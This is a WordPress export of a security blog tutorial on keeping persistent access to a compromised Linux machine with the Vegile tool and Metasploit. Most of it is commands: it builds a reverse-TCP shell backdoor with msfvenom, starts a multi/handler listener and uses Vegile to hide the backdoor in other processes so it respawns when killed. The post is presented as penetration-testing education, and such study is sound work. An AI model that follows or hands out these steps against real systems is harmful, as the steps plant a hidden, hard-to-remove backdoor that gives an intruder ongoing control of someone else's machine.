{"id":1023,"date":"2020-12-13T21:45:45","date_gmt":"2020-12-13T18:45:45","guid":{"rendered":"https:\/\/macrosec.tech\/?p=1023"},"modified":"2021-01-21T10:55:32","modified_gmt":"2021-01-21T07:55:32","slug":"vegile-unlimited-shell-in-linux-using-metasploit","status":"publish","type":"post","link":"https:\/\/macrosec.tech\/index.php\/2020\/12\/13\/vegile-unlimited-shell-in-linux-using-metasploit\/","title":{"rendered":"Vegile (Unlimited Shell In Linux Using Metasploit)"},"content":{"rendered":"

VEGILE (UNLIMITED SHELL IN LINUX USING METASPOILT)<\/span><\/strong><\/h2>\n<\/div>
\"Haystack<\/span><\/div><\/div><\/div><\/div>
<\/div><\/div><\/div><\/div><\/div>
<\/div>
<\/div>
<\/div>

This blog post was written by Alex Maina<\/a>.<\/p>\n<\/div>

<\/div>
<\/div><\/div>
<\/div>

Introduction<\/strong><\/h2>\n

This blog will talk about maintaining persistence in Linux using Vegile.
\nVegile (Ghost in the Shell) is a tool for post-exploitation. Post exploitation technique will ensure that we maintain some level of access and can potentially lead to deeper footholds into our target’s trusted network.<\/p>\n

 <\/p>\n

How does it work?<\/strong><\/h2>\n

This tool assumes that you have already gained an initial foothold on the system you are targetting. Vegile will inject your payload into a specific process which will ensure even if the process running the backdoor is killed, there will always be another process running the backdoor. Therefore, we can assume that this process is unstoppable like a Ghost in The Shell.<\/p>\n

 <\/p>\n

Installation<\/strong><\/h2>\n

The tool can be installed from GitHub using the following command:<\/p>\n

git clone https:\/\/github.com\/Screetsec\/Vegile.git<\/p>\n<\/div>

<\/span><\/div><\/div>

 <\/p>\n

After that run the following commands:<\/p>\n

cd Vegile
\nchmod +x Vegile<\/p>\n<\/div>

<\/span><\/div><\/div>

 <\/p>\n

Creating the Linux Payload<\/strong><\/h2>\n

We will be using metaspoilt to create the linux payload.
\nThe command is as follows:<\/p>\n

msfvenom -p linux\/x64\/shell\/reverse_tcp lhost=192.168.0.16 lport=4444 -f elf -o \/root\/Desktop\/backdoor<\/p>\n<\/div>

<\/span><\/div><\/div>

 <\/p>\n

Next lets start the listener for our payload using the following commands:<\/p>\n

use exploit\/multi\/handler
\nset payloadl linux\/x64\/shell\/reverse_tcp
\nset lhost 192.168.0.16(your IP address)
\nset lport 4444<\/p>\n<\/div>

<\/span><\/div><\/div>

 <\/p>\n

To get started with vegile, we need to use the –i flag to hide the backdoor with other specific process.<\/p>\n

.\/Vegile –i backdoor<\/p>\n<\/div>

<\/span><\/div><\/div>

 <\/p>\n

Now to get unlimited sessions lets execute the payload using vegile and use the –u flag<\/p>\n<\/div>

<\/span><\/div><\/div>

 <\/p>\n

You also need to make sure the payload is in the same folder as the vegile framework.
\nYou also need to change the rights of your payload and make it executable. This can be done by using the command below:<\/p>\n

chmod +x backdoor<\/p>\n<\/div>

<\/span><\/div><\/div>

 <\/p>\n

Looking at our listener we get a connection back.<\/p>\n<\/div>

<\/span><\/div><\/div>

 <\/p>\n

As it be seen, we are able to get a shell…<\/p>\n<\/div>

<\/span><\/div><\/div>

 <\/p>\n

If you end the session and restart the listener you get more call backs<\/p>\n<\/div>

<\/span><\/div><\/div>

\u00a0<\/p>\n<\/div>

<\/span><\/div><\/div>

 <\/p>\n

Watch the video below showcasing what the article is about.<\/p>\n<\/div>